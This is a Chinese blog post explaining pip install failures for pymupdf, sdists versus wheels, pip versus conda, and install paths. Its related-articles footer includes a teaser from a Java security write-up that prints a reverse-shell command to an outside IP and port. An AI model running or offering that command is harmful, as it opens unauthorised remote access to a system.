pip 和 conda,到底用哪個安裝?

  • 為什么 pip 有時裝不下來而 --prefer-binary 可以?
    • 什么是源代碼發行版?
    • 什么是輪子?
  • conda 和 pip 有什么區別?優先用誰啊?
    • 兩者適合的場景(何時用哪個)
    • 安裝路徑:pip / conda 分別裝到哪里(如何查看)

今天遇到的問題,當我用 pip install pymupdf 時報 × Encountered error while generating package metadata,但是 python -m pip install --prefer-binary pymupdf 卻報 Successfully installed pymupdf-1.26.0

若 pip 報錯顯示在編譯某個 C/C++ 源文件失敗,通常不是 pip 本身的問題,而是缺系統依賴或沒有 wheel。想快速判斷“是不是 wheel 的問題”:試 pip install --prefer-binary pymupdf,若成功就說明是 wheel vs source 的差別。

為什么 pip 有時裝不下來而 --prefer-binary 可以?

總結:遇到的 pymupdf 情況:如果沒有合適的 wheel,pip 會嘗試從源代碼編譯(這需要系統編譯工具和 MuPDF 的頭文件/庫),編譯失敗就裝不上;--prefer-binary 會讓 pip 盡可能選擇一個已有的 wheel(哪怕是舊版本),從而成功。

先來學一下 Python Package Formats

你會在包索引( 如 PyPI) 上找到兩種格式的文件: 源發行版 ,簡稱 sdists,以及 二進制發行版 ,通常稱為輪子 。例如,pip 23.3.1 的 PyPI 頁面允許下載兩個文件,pip-23.3.1.tar.gzpip-23.3.1-py3-none-any.whl。前者是 sdist,后者是輪子。在 PyPI(或其他地方)上發布包時,應該始終上傳一個 sdist 和一個或多個 wheel。

  • PyPI 上每個包可能提供多種分發格式:wheel(二進制)sdist(源碼)wheel 可以直接安裝;sdist 需要在本機執行編譯步驟(如果包包含擴展模塊)。如果你的平臺/Python 版本沒有對應的 wheel,pip 就會下載 sdist 并嘗試 build

  • pip install pymupdf:若 PyPI 上沒有與當前 Python/平臺匹配的 wheel,pip 會嘗試構建(失敗常見原因:缺少編譯器、python-dev 頭文件、或缺少第三方 C 庫/頭文件)。有 wheel 時直接安裝速度又快又穩。PyMuPDF 文檔也明確“如果有 wheel 則會從 wheel 安裝”。

    在這里插入圖片描述

  • --prefer-binary 的作用是優先選擇二進制包(即使那不是最新版本),從而避免回退到源代碼編譯導致的失敗。若沒有任何可用 wheel,則仍然會回退(或失敗)。(pip 文檔有 –prefer-binary 的說明) 。

什么是源代碼發行版?

從概念上講,源代碼發行版是原始形式的源代碼存檔。具體來說,sdist 是一個 .tar.gz 存檔,其中包含源代碼和一個名為 PKG-INFO 的附加特殊文件,該文件保存項目元數據。此文件的存在有助于打包工具提高效率,因為不需要自己計算元數據。PKG-INFO 文件遵循核心元數據規范中指定的格式,不打算手動編寫。

當標準 Python 包安裝程序 pip 找不到要安裝的輪子時,它將回退到下載源代碼發行版,從中編譯輪子并安裝輪子。此外,sdist 經常被下游打包者(例如 Linux 發行版、macOS 上的 Conda、Homebrew 和 MacPorts 等)用作包源,出于各種原因,他們可能更喜歡它們,例如從 Git 存儲庫中提取。

什么是輪子?

從概念上講,滾輪恰好包含安裝包時需要復制的文件

對于 擴展模塊 ,用 C、C++ 和 Rust 等編譯語言編寫,需要編譯成依賴于平臺的機器代碼。使用這些包,輪子不包含源代碼(如 C 源文件),而是包含編譯的可執行代碼(如 Linux 上的 .so 文件或 Windows 上的 DLL)。

一個輪子,通常適用于所有平臺和 Python 版本。Python 是一種解釋型語言,不需要提前編譯,因此輪子像 sdists 一樣包含 .py 文件。

輪子的文件名(忽略一些很少使用的功能)如下所示: package_name-version-python_tag-abi_tag-platform_tag.whl 。此命名約定標識滾輪與哪些平臺和 Python 版本兼容。例如,名稱 pip-23.3.1-py3-none-any.whl 表示:

  • py3) 這個輪子可以安裝在 Python 3 的任何實現上,無論是 CPython(使用最廣泛的 Python 實現),還是像 PyPy 這樣的替代實現;
  • none )它不依賴于 Python 版本;
  • any) 它不依賴于平臺。

More Info about wheel to see here.

conda 和 pip 有什么區別?優先用誰啊?

  • pip:從 PyPI 下載 Python 包的“Python 包管理器/安裝器”,優先取 wheel(二進制包),沒有 wheel 則回退到 source(sdist)并在本機編譯。--prefer-binary 會讓 pip 更偏好二進制 wheel,避免本地編譯。

  • conda:是跨語言的包/環境管理器,以分發已編譯的二進制包為主(包括非 Python 的系統庫),從 conda 倉庫或 channel(例如 conda-forge)取包,通常能避免本機編譯 C/C++ 依賴。

兩者適合的場景(何時用哪個)

  • 優先用 conda(如果你在用 conda 環境):當包有復雜的 C/C++、外部庫依賴(如科學棧、GDAL、ffmpeg、mupdf 等),能在 conda/conda-forge 上找到對應包時,conda 更穩,因為它 提供了已編譯的二進制 并且 會處理底層庫依賴
  • 用 pip 來補缺:如果某包在 conda 倉庫里沒有,或者 conda 的版本滯后,用 pip 在已激活的 conda 環境里安裝通常可行(先用 conda 安裝盡可能多的二進制依賴,再用 pip 安裝純 Python 包)。這也是官方常見建議的混合做法
  • 純 Python 虛擬環境(venv/virtualenv)下:直接用 pip(PyPI)是最常見做法。對于需要編譯的擴展,事先準備好編譯器和 dev 庫。

安裝路徑:pip / conda 分別裝到哪里(如何查看)

  • pip(在當前 Python 環境中):會 裝到該 Python 的 site-packages 中。常見位置(示例):

    • Linux/macOS(系統或自編譯 Python):/usr/local/lib/pythonX.Y/site-packages/

    • venv / conda env:$VENV_OR_CONDA_PREFIX/lib/pythonX.Y/site-packages/

    • –user 模式:~/.local/lib/pythonX.Y/site-packages/(可通過 python -m site --user-site 查看)。

    查看某包路徑:pip show pymupdf 會輸出 Location,或在 Python 里 import pymupdf; print(pymupdf.__file__)

  • conda:用 conda info --envs 可看環境位置

    用 conda 時,先確認 conda-forge 是否有對應包并用該 channel 安裝:

    conda search -c conda-forge pymupdf
    conda install -c conda-forge pymupdf
    
  • 在 conda env 中用 pip 安裝,先激活 env,再用 pip,

    conda activate myenv
    python -m pip install --upgrade pip setuptools wheel
    python -m pip install pymupdf   # 或加 --prefer-binary
    

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95209.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95209.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95209.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

bert學習

首先了解一下幾種embedding。比如elmo就是一個embedding模型。one-hot編碼只能實現one word one embedding,而我們的elmo能實現one token one embeddingElmo是基于雙向LSTM,所以每個詞其實會有正向和反向兩個預測結果,那么我們用哪個呢&#…

Java安全-組件安全

一、Xstream啟動環境并訪問接下來我們構造反彈shell語句,bash -i >& /dev/tcp/8.152.2.86/9999 0>&1,緊接著對其進行base64編碼。接下來使用命令即可首先開啟監聽接下來執行命令接下來抓包對其進行payload構造即可緊接著回去查看回顯發現成…

【10】微網優聯——微網優聯 嵌入式技術一面,校招,面試問答記錄

微網優聯——微網優聯 嵌入式技術一面,校招,問答記錄 1. 2 分鐘簡單自自我介紹2. 問一遍筆試題目3. IP地址在哪個層4.手動配置過IP地址嗎?要配哪幾個?5. ARP 是域名找IP地址還是IP地址找域名?6. Linux、計算機網絡、操作系統掌握的怎么樣&a…

C#使用EPPlus讀寫Excel

依賴EPPlus 獲取依賴可以閱讀:Nuget For Unity插件介紹_nugetforunity-CSDN博客 可以參閱該篇快速入門:在Unity中使用Epplus寫Excel_unity epplus-CSDN博客 下面是我封裝的幾個方法: 要在合適的時機配置許可證,比如你的工具類的靜態函數.建議使用版本7.7.1 #region Excel封裝,…

高性能Web服務器

一、Web服務基礎介紹 1.1、互聯網發展歷程 1993年3月2日,中國科學院高能物理研究所租用AT&T公司的國際衛星信道建立的接入美國SLAC國家實驗室的64K專線正式開通,成為我國連入Internet的第一根專線。 1995年馬云開始創業并推出了一個web網站中國黃…

《算法導論》第 16 章 - 貪心算法

大家好!今天我們來深入探討《算法導論》第 16 章的核心內容 —— 貪心算法。貪心算法是一種在每一步選擇中都采取在當前狀態下最好或最優(即最有利)的選擇,從而希望導致結果是全局最好或最優的算法。它在許多優化問題中都有廣泛應…

Redis面試精講 Day 18:Redis網絡優化與連接管理

【Redis面試精講 Day 18】Redis網絡優化與連接管理 開篇 歡迎來到"Redis面試精講"系列第18天,今天我們將深入探討Redis網絡優化與連接管理技術。在分布式系統中,Redis的網絡性能和連接管理直接影響整個系統的響應速度和穩定性。掌握這些優化…

Centos8系統在安裝Git包時,報錯:“沒有任何匹配: git”

報錯類型: sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide緩存策略和緩存命中

一 緩存策略 1 Glide 的 diskCacheStrategy() 一共有 5 種枚舉值(DiskCacheStrategy),每種的作用和區別如下:1. DiskCacheStrategy.ALL 作用:同時緩存原始圖片(原圖數據)和經過變換(…

如何將PDF文檔進行高效編輯處理!

PDF文件可以在任何設備上以相同的格式查看,無論操作系統或軟件環境如何,可以確保修改后的文檔仍然保持原有的布局和格式。它完全免費,下載后雙擊即可運行,無需安裝,使用非常方便。它具備出色的文本編輯功能&#xff0c…

應用層模擬面試題

模擬面試-C第一題(開發音視頻處理模塊)在開發音視頻處理模塊時,FFmpeg資源(AVFrame*)需要自動釋放。如何用unique_ptr定制刪除器替代手動av_frame_free()?寫出代碼并解釋RAII優勢。參考答案:auto frame_deleter[](AVFr…

分享一款基于STC8H8K32U-45I-LQFP48單片機的4路數字量輸入輸出模塊

4路數字量輸入輸出模塊產品說明產品特性輸入部分: 4路光耦隔離數字量輸入通道支持NPN和PNP兩種輸入方式,可通過撥碼開關切換輸入電壓范圍:10-30VDC典型應用:可連接按鈕開關、接近開關、光電傳感器等數字信號設備輸出部分&#xff…

redis常見的性能問題

Redis 的性能問題通常源于配置不當、數據結構誤用、資源瓶頸或架構缺陷。以下是 Redis 常見的性能問題及優化方案,結合線上經驗整理:🧠 ?一、內存相關問題??1. 內存不足(OOM)???現象?:OOM errors、響…

Blender 基礎操作

基礎操作 一、視角控制 ①旋轉視角 : 拖動鼠標中鍵 ②平移視角 : shift 鼠標中鍵 ③放大\縮小 :鼠標滾輪 二、物體控制 1、重要 ① 移動物體 : G ② 旋轉物體 : R ③ 縮放物體 : S 2、不重要 ④ 新建物體 : shift A ⑤ 復制物體 : shift D…

Go 語言三大核心數據結構深度解析:數組、切片(Slice)與映射(Map)

🚀Go 語言三大核心數據結構深度解析:數組、切片(Slice)與映射(Map) 在 Go 語言的開發領域,數組、切片與映射 這三大核心數據結構猶如構建程序的基石,支撐著各類數據的存儲與處理。它…

《Webpack與Vite熱模塊替換機制深度剖析與策略抉擇》

從早期簡單的文件合并工具,到如今功能強大、高度自動化的Webpack和Vite,它們重塑了前端開發的流程與效率。而熱模塊替換(HMR, Hot Module Replacement)機制,作為其中關鍵的一環,更是成為開發者提升開發體驗、加速項目迭代的秘密武器。Webpack,作為前端構建領域的先驅者,…

虛擬樂隊“天鵝絨落日”:AI生成音樂引發的行業風暴

引言近日,音樂行業掀起了一陣關于一支名為“The Velvet Sundown”(天鵝絨落日)樂隊的新聞熱潮。原因何在?這支樂隊很可能并非真正的樂隊,其音樂也或許是由人工智能生成的。事實上,越來越多的共識認為&#…

c++ final override 關鍵字

1.finalfinal 防止子類繼承,用于類或虛函數,限制繼承或重寫class Base final {}; // Base類不能被繼承class Base { public:virtual void foo() final; // 禁止子類重寫foo() };2.overrideoverride 子類中重寫父類中函數,,僅用于…

劍橋大學最新研究:基于大語言模型(LLM)的分子動力學模擬框架,是MD的GPT時刻還是概念包裝?

近期,劍橋大學 Michele Vendruscolo 團隊在預印本平臺上發布了一項最新研究,提出了一個名為 MD-LLM 的框架,旨在為高效研究蛋白質動態提供一種全新的思路。簡單來說,他們希望借助大語言模型(LLM)&#xff0…

MySQL梳理:其他

MySQL數據庫技術知識合集,涵蓋InnoDB存儲引擎的區管理機制、緩沖池機制等核心技術要點。本文檔將持續補充MySQL相關的重要技術知識點。 📋 目錄 模塊一:InnoDB區狀態管理機制 1.1 核心設計思想1.2 四種區狀態詳解1.3 漸進式空間分配策略1.4…